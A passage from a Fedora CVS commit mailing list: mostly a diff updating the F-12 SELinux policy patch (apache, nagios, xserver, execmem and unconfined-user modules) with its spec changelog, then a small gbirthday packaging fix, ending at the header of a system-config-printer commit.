 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    2 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   23 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   89 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    4 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    3 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  181 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   39 
 policy/modules/services/xserver.if        |  613 +++++++++++-
 policy/modules/services/xserver.te        |  342 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  290 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 376 files changed, 18321 insertions(+), 2760 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- policy-F12.patch	29 Oct 2009 20:00:31 -0000	1.124
+++ policy-F12.patch	30 Oct 2009 12:25:51 -0000	1.125
@@ -2002,8 +2002,8 @@ diff -b -B --ignore-all-space --exclude-
 +/opt/Adobe/Reader9/Reader/intellinux/bin/acroread  -- gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-23 09:23:30.000000000 -0400
-@@ -0,0 +1,76 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-30 07:50:31.000000000 -0400
+@@ -0,0 +1,75 @@
 +## <summary>execmem domain</summary>
 +
 +########################################
@@ -2067,7 +2067,6 @@ diff -b -B --ignore-all-space --exclude-
 +	allow $1_execmem_t self:process { execmem execstack };
 +	allow $3 $1_execmem_t:process { getattr ptrace noatsecure signal_perms };
 +	domtrans_pattern($3, execmem_exec_t, $1_execmem_t)
-+	corecmd_bin_domtrans($1_execmem_t, $1_t)
 +
 +	files_execmod_tmp($1_execmem_t)
 +
@@ -8915,8 +8914,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-28 11:33:25.000000000 -0400
-@@ -0,0 +1,426 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-29 17:52:13.000000000 -0400
+@@ -0,0 +1,428 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -9258,7 +9257,9 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +optional_policy(`
-+	xserver_role(unconfined_r, unconfined_t)
++	xserver_run(unconfined_t, unconfined_r)
++	xserver_rw_shm(unconfined_t)
++	xserver_run_xauth(unconfined_t, unconfined_r)
 +')
 +
 +########################################
@@ -9588,7 +9589,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.if serefpolicy-3.6.32/policy/modules/services/abrt.if
 --- nsaserefpolicy/policy/modules/services/abrt.if	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-21 16:42:52.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-29 17:36:00.000000000 -0400
 @@ -75,6 +75,64 @@
  	read_files_pattern($1, abrt_var_log_t, abrt_var_log_t)
  ')
@@ -10694,7 +10695,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.te serefpolicy-3.6.32/policy/modules/services/apache.te
 --- nsaserefpolicy/policy/modules/services/apache.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-10-21 12:45:10.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-10-29 17:36:37.000000000 -0400
 @@ -19,6 +19,8 @@
  # Declarations
  #
@@ -11112,7 +11113,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -468,22 +609,18 @@
+@@ -468,22 +609,19 @@
  	mailman_domtrans_cgi(httpd_t)
  	# should have separate types for public and private archives
  	mailman_search_data(httpd_t)
@@ -11134,10 +11135,11 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
  	nagios_read_config(httpd_t)
 -	nagios_domtrans_cgi(httpd_t)
++	nagios_read_log(httpd_t)
  ')
  
  optional_policy(`
-@@ -494,12 +631,23 @@
+@@ -494,12 +632,23 @@
  ')
  
  optional_policy(`
@@ -11161,7 +11163,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -508,6 +656,7 @@
+@@ -508,6 +657,7 @@
  ')
  
  optional_policy(`
@@ -11169,7 +11171,7 @@ diff -b -B --ignore-all-space --exclude-
  	snmp_dontaudit_read_snmp_var_lib_files(httpd_t)
  	snmp_dontaudit_write_snmp_var_lib_files(httpd_t)
  ')
-@@ -535,6 +684,23 @@
+@@ -535,6 +685,23 @@
  
  userdom_use_user_terminals(httpd_helper_t)
  
@@ -11193,7 +11195,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # Apache PHP script local policy
-@@ -564,20 +730,25 @@
+@@ -564,20 +731,25 @@
  
  fs_search_auto_mountpoints(httpd_php_t)
  
@@ -11225,7 +11227,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -595,23 +766,24 @@
+@@ -595,23 +767,24 @@
  append_files_pattern(httpd_suexec_t, httpd_log_t, httpd_log_t)
  read_files_pattern(httpd_suexec_t, httpd_log_t, httpd_log_t)
  
@@ -11254,7 +11256,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(httpd_suexec_t)
  files_read_usr_files(httpd_suexec_t)
-@@ -624,6 +796,7 @@
+@@ -624,6 +797,7 @@
  logging_send_syslog_msg(httpd_suexec_t)
  
  miscfiles_read_localization(httpd_suexec_t)
@@ -11262,7 +11264,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`httpd_can_network_connect',`
  	allow httpd_suexec_t self:tcp_socket create_stream_socket_perms;
-@@ -631,22 +804,31 @@
+@@ -631,22 +805,31 @@
  
  	corenet_all_recvfrom_unlabeled(httpd_suexec_t)
  	corenet_all_recvfrom_netlabel(httpd_suexec_t)
@@ -11301,7 +11303,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  tunable_policy(`httpd_enable_homedirs && use_nfs_home_dirs',`
-@@ -672,15 +854,14 @@
+@@ -672,15 +855,14 @@
  	dontaudit httpd_suexec_t httpd_t:unix_stream_socket { read write };
  ')
  
@@ -11320,7 +11322,7 @@ diff -b -B --ignore-all-space --exclude-
  allow httpd_sys_script_t httpd_t:tcp_socket { read write };
  
  dontaudit httpd_sys_script_t httpd_config_t:dir search;
-@@ -699,12 +880,24 @@
+@@ -699,12 +881,24 @@
  # Should we add a boolean?
  apache_domtrans_rotatelogs(httpd_sys_script_t)
  
@@ -11347,7 +11349,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  tunable_policy(`httpd_enable_homedirs && use_nfs_home_dirs',`
-@@ -712,6 +905,35 @@
+@@ -712,6 +906,35 @@
  	fs_read_nfs_symlinks(httpd_sys_script_t)
  ')
  
@@ -11383,7 +11385,7 @@ diff -b -B --ignore-all-space --exclude-
  tunable_policy(`httpd_enable_homedirs && use_samba_home_dirs',`
  	fs_read_cifs_files(httpd_sys_script_t)
  	fs_read_cifs_symlinks(httpd_sys_script_t)
-@@ -724,6 +946,10 @@
+@@ -724,6 +947,10 @@
  optional_policy(`
  	mysql_stream_connect(httpd_sys_script_t)
  	mysql_rw_db_sockets(httpd_sys_script_t)
@@ -11394,7 +11396,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -735,6 +961,8 @@
+@@ -735,6 +962,8 @@
  # httpd_rotatelogs local policy
  #
  
@@ -11403,7 +11405,7 @@ diff -b -B --ignore-all-space --exclude-
  manage_files_pattern(httpd_rotatelogs_t, httpd_log_t, httpd_log_t)
  
  kernel_read_kernel_sysctls(httpd_rotatelogs_t)
-@@ -754,11 +982,88 @@
+@@ -754,11 +983,88 @@
  
  tunable_policy(`httpd_enable_cgi && httpd_unified',`
  	allow httpd_user_script_t httpdcontent:file entrypoint;
@@ -15366,7 +15368,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/nagios/cgi-bin(/.*)?	gen_context(system_u:object_r:httpd_nagios_script_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nagios.if serefpolicy-3.6.32/policy/modules/services/nagios.if
 --- nsaserefpolicy/policy/modules/services/nagios.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/nagios.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/nagios.if	2009-10-29 17:36:24.000000000 -0400
 @@ -64,7 +64,7 @@
  
  ########################################
@@ -15399,7 +15401,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -92,10 +91,63 @@
+@@ -92,10 +91,82 @@
  ##	</summary>
  ## </param>
  #
@@ -15415,6 +15417,25 @@ diff -b -B --ignore-all-space --exclude-
 +	files_search_spool($1)
 +')
 +
++######################################
++## <summary>
++##	Read nagios logs.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`nagios_read_log',`
++	gen_require(`
++		type nagios_var_log_t;
++	')
++
++	logging_search_logs($1)
++	read_files_pattern($1, nagios_var_log_t, nagios_var_log_t)
++')
++
 +########################################
 +## <summary>
 +##	All of the rules required to administrate 
@@ -23270,14 +23291,16 @@ diff -b -B --ignore-all-space --exclude-
  corenet_tcp_connect_http_port(httpd_w3c_validator_script_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.fc serefpolicy-3.6.32/policy/modules/services/xserver.fc
 --- nsaserefpolicy/policy/modules/services/xserver.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-22 11:39:22.000000000 -0400
-@@ -3,12 +3,17 @@
++++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-30 07:58:49.000000000 -0400
+@@ -3,12 +3,19 @@
  #
  HOME_DIR/\.fonts\.conf	--	gen_context(system_u:object_r:user_fonts_config_t,s0)
  HOME_DIR/\.fonts(/.*)?		gen_context(system_u:object_r:user_fonts_t,s0)
 +HOME_DIR/\.fontconfig(/.*)?	gen_context(system_u:object_r:user_fonts_config_t,s0)
  HOME_DIR/\.fonts/auto(/.*)?	gen_context(system_u:object_r:user_fonts_cache_t,s0)
  HOME_DIR/\.fonts\.cache-.* --	gen_context(system_u:object_r:user_fonts_cache_t,s0)
++HOME_DIR/\.DCOP.* 	   --	gen_context(system_u:object_r:iceauth_home_t,s0)
++HOME_DIR/\.ICEauthority.* --	gen_context(system_u:object_r:iceauth_home_t,s0)
  HOME_DIR/\.ICEauthority.* --	gen_context(system_u:object_r:iceauth_home_t,s0)
  HOME_DIR/\.xauth.*	--	gen_context(system_u:object_r:xauth_home_t,s0)
  HOME_DIR/\.Xauthority.*	--	gen_context(system_u:object_r:xauth_home_t,s0)
@@ -23289,7 +23312,7 @@ diff -b -B --ignore-all-space --exclude-
  #
  # /dev
  #
-@@ -32,11 +37,6 @@
+@@ -32,11 +39,6 @@
  /etc/X11/wdm/Xstartup.*	--	gen_context(system_u:object_r:xsession_exec_t,s0)
  /etc/X11/Xsession[^/]*	--	gen_context(system_u:object_r:xsession_exec_t,s0)
  
@@ -23301,7 +23324,7 @@ diff -b -B --ignore-all-space --exclude-
  #
  # /opt
  #
-@@ -47,10 +47,10 @@
+@@ -47,10 +49,10 @@
  # /tmp
  #
  
@@ -23314,7 +23337,7 @@ diff -b -B --ignore-all-space --exclude-
  /tmp/\.X11-unix/.*	-s	<<none>>
  
  #
-@@ -61,7 +61,9 @@
+@@ -61,7 +63,9 @@
  /usr/(s)?bin/[xgkw]dm	--	gen_context(system_u:object_r:xdm_exec_t,s0)
  /usr/bin/gpe-dm		--	gen_context(system_u:object_r:xdm_exec_t,s0)
  /usr/bin/iceauth	--	gen_context(system_u:object_r:iceauth_exec_t,s0)
@@ -23324,7 +23347,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/xauth		--	gen_context(system_u:object_r:xauth_exec_t,s0)
  /usr/bin/Xorg		--	gen_context(system_u:object_r:xserver_exec_t,s0)
  ifdef(`distro_debian', `
-@@ -89,16 +91,31 @@
+@@ -89,16 +93,31 @@
  
  /var/[xgk]dm(/.*)?		gen_context(system_u:object_r:xserver_log_t,s0)
  
@@ -23332,19 +23355,19 @@ diff -b -B --ignore-all-space --exclude-
 +/var/lib/[gxkw]dm(/.*)?		gen_context(system_u:object_r:xdm_var_lib_t,s0)
  /var/lib/xkb(/.*)?		gen_context(system_u:object_r:xkb_var_lib_t,s0)
 +/var/lib/xorg(/.*)?		gen_context(system_u:object_r:xserver_var_lib_t,s0)
-+
-+/var/cache/gdm(/.*)?		gen_context(system_u:object_r:xdm_var_lib_t,s0)
  
 -/var/log/[kw]dm\.log	--	gen_context(system_u:object_r:xserver_log_t,s0)
 -/var/log/gdm(/.*)?		gen_context(system_u:object_r:xserver_log_t,s0)
++/var/cache/gdm(/.*)?		gen_context(system_u:object_r:xdm_var_lib_t,s0)
++
 +/var/log/gdm(/.*)?		gen_context(system_u:object_r:xdm_log_t,s0)
 +/var/log/[kw]dm\.log.*	--	gen_context(system_u:object_r:xserver_log_t,s0)
  /var/log/XFree86.*	--	gen_context(system_u:object_r:xserver_log_t,s0)
  /var/log/Xorg.*		--	gen_context(system_u:object_r:xserver_log_t,s0)
 +/var/log/nvidia-installer\.log.* --	gen_context(system_u:object_r:xserver_log_t,s0)
- 
-+/var/spool/gdm(/.*)?	 	gen_context(system_u:object_r:xdm_spool_t,s0)
 +
++/var/spool/gdm(/.*)?	 	gen_context(system_u:object_r:xdm_spool_t,s0)
+ 
 +/var/run/slim(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
 +/var/run/kdm(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
 +/var/run/gdm(/.*)?	 	gen_context(system_u:object_r:xdm_var_run_t,s0)
@@ -23361,7 +23384,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/pam_devperm/:0	--	gen_context(system_u:object_r:xdm_var_lib_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.if serefpolicy-3.6.32/policy/modules/services/xserver.if
 --- nsaserefpolicy/policy/modules/services/xserver.if	2009-09-09 15:37:17.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-10-22 11:38:18.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-10-29 17:51:12.000000000 -0400
 @@ -89,8 +89,8 @@
  	# for when /tmp/.X11-unix is created by the system
  	allow $2 xdm_t:fd use;
@@ -23611,7 +23634,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -868,6 +906,50 @@
+@@ -868,6 +906,75 @@
  
  ########################################
  ## <summary>
@@ -23659,10 +23682,35 @@ diff -b -B --ignore-all-space --exclude-
 +
 +########################################
 +## <summary>
++##	Execute xsever in the xserver domain, and
++##	allow the specified role the xserver domain.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	The type of the process performing this action.
++##	</summary>
++## </param>
++## <param name="role">
++##	<summary>
++##	The role to be allowed the xserver domain.
++##	</summary>
++## </param>
++#
++interface(`xserver_run_xauth',`
++	gen_require(`
++		type xauth_t;
++	')
++
++	xserver_domtrans_xauth($1)
++	role $2 types xauth_t;
++')
++
++########################################
++## <summary>
  ##	Make an X session script an entrypoint for the specified domain.
  ## </summary>
  ## <param name="domain">
-@@ -886,6 +968,24 @@
+@@ -886,6 +993,24 @@
  
  ########################################
  ## <summary>
@@ -23687,7 +23735,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Execute an X session in the target domain.  This
  ##	is an explicit transition, requiring the
  ##	caller to use setexeccon().
-@@ -961,6 +1061,27 @@
+@@ -961,6 +1086,27 @@
  
  ########################################
  ## <summary>
@@ -23715,7 +23763,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to write the X server
  ##	log files.
  ## </summary>
-@@ -1014,11 +1135,11 @@
+@@ -1014,11 +1160,11 @@
  #
  interface(`xserver_read_xdm_tmp_files',`
  	gen_require(`
@@ -23729,7 +23777,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1033,11 +1154,11 @@
+@@ -1033,11 +1179,11 @@
  #
  interface(`xserver_dontaudit_read_xdm_tmp_files',`
  	gen_require(`
@@ -23744,7 +23792,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1052,11 +1173,11 @@
+@@ -1052,11 +1198,11 @@
  #
  interface(`xserver_rw_xdm_tmp_files',`
  	gen_require(`
@@ -23759,7 +23807,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1071,10 +1192,10 @@
+@@ -1071,10 +1217,10 @@
  #
  interface(`xserver_manage_xdm_tmp_files',`
  	gen_require(`
@@ -23772,7 +23820,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1089,10 +1210,10 @@
+@@ -1089,10 +1235,10 @@
  #
  interface(`xserver_dontaudit_getattr_xdm_tmp_sockets',`
  	gen_require(`
@@ -23785,7 +23833,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1107,10 +1228,11 @@
+@@ -1107,10 +1253,11 @@
  #
  interface(`xserver_domtrans',`
  	gen_require(`
@@ -23798,7 +23846,7 @@ diff -b -B --ignore-all-space --exclude-
  	domtrans_pattern($1, xserver_exec_t, xserver_t)
  ')
  
-@@ -1248,6 +1370,278 @@
+@@ -1248,6 +1395,278 @@
  
  ########################################
  ## <summary>
@@ -24077,7 +24125,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Interface to provide X object permissions on a given X server to
  ##	an X client domain.  Gives the domain complete control over the
  ##	display.
-@@ -1261,7 +1655,103 @@
+@@ -1261,7 +1680,103 @@
  interface(`xserver_unconfined',`
  	gen_require(`
  		attribute xserver_unconfined_type;
@@ -24158,7 +24206,7 @@ diff -b -B --ignore-all-space --exclude-
 +	xserver_communicate($1, $1)
 +	xserver_stream_connect($1)
 +	xserver_use_xdm($1)
-+')
+ ')
 +
 +########################################
 +## <summary>
@@ -24175,7 +24223,7 @@ diff -b -B --ignore-all-space --exclude-
 +	gen_require(`
 +		type xdm_t;
 +		class dbus send_msg;
- ')
++	')
 +
 +	allow $1 xdm_t:dbus send_msg;
 +	allow xdm_t $1:dbus send_msg;


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.957
retrieving revision 1.958
diff -u -p -r1.957 -r1.958
--- selinux-policy.spec	29 Oct 2009 20:00:32 -0000	1.957
+++ selinux-policy.spec	30 Oct 2009 12:25:52 -0000	1.958
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 36%{?dist}
+Release: 37%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,10 +445,13 @@ exit 0
 %endif
 
 %changelog
-* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
+* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
 - Allow consolekit to manage /var/run/console directory
 - Allow pcsd to r/w smartcard devices
 - Temporarily allow xauth to read/write user_home_t
+- Allow apache to read nagios log files
+- Fix execmem to work correctly
+- Stop transitioning from unconfined_t to iceauth
 
 * Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
 - Change labeling of /usr/share/yumex/yumex-yum-backend



From tomspur at fedoraproject.org  Fri Oct 30 12:29:08 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:29:08 +0000 (UTC)
Subject: rpms/gbirthday/devel gbirthday.spec,1.4,1.5
Message-ID: <20091030122908.5F34B11C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11424

Modified Files:
	gbirthday.spec 
Log Message:
fix missing BR



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/devel/gbirthday.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gbirthday.spec	30 Oct 2009 12:18:55 -0000	1.4
+++ gbirthday.spec	30 Oct 2009 12:29:08 -0000	1.5
@@ -1,6 +1,6 @@
 Name:			gbirthday
 Version:		0.5.2
-Release:		2%{?dist}
+Release:		3%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
@@ -11,6 +11,7 @@ BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
+BuildRequires:  intltool
 Requires:		evolution
 Requires:		python
 Requires:		MySQL-python
@@ -55,7 +56,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
-* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-3
+- BR: intltool
+
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-2
 - little problem with 'make tag'
 
 * Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1



From twaugh at fedoraproject.org  Fri Oct 30 12:31:00 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:31:00 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-no-epydoc.patch, 
	NONE, 1.1 system-config-printer.spec, 1.306, 1.307
Message-ID: <20091030123100.34B8511C0349@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
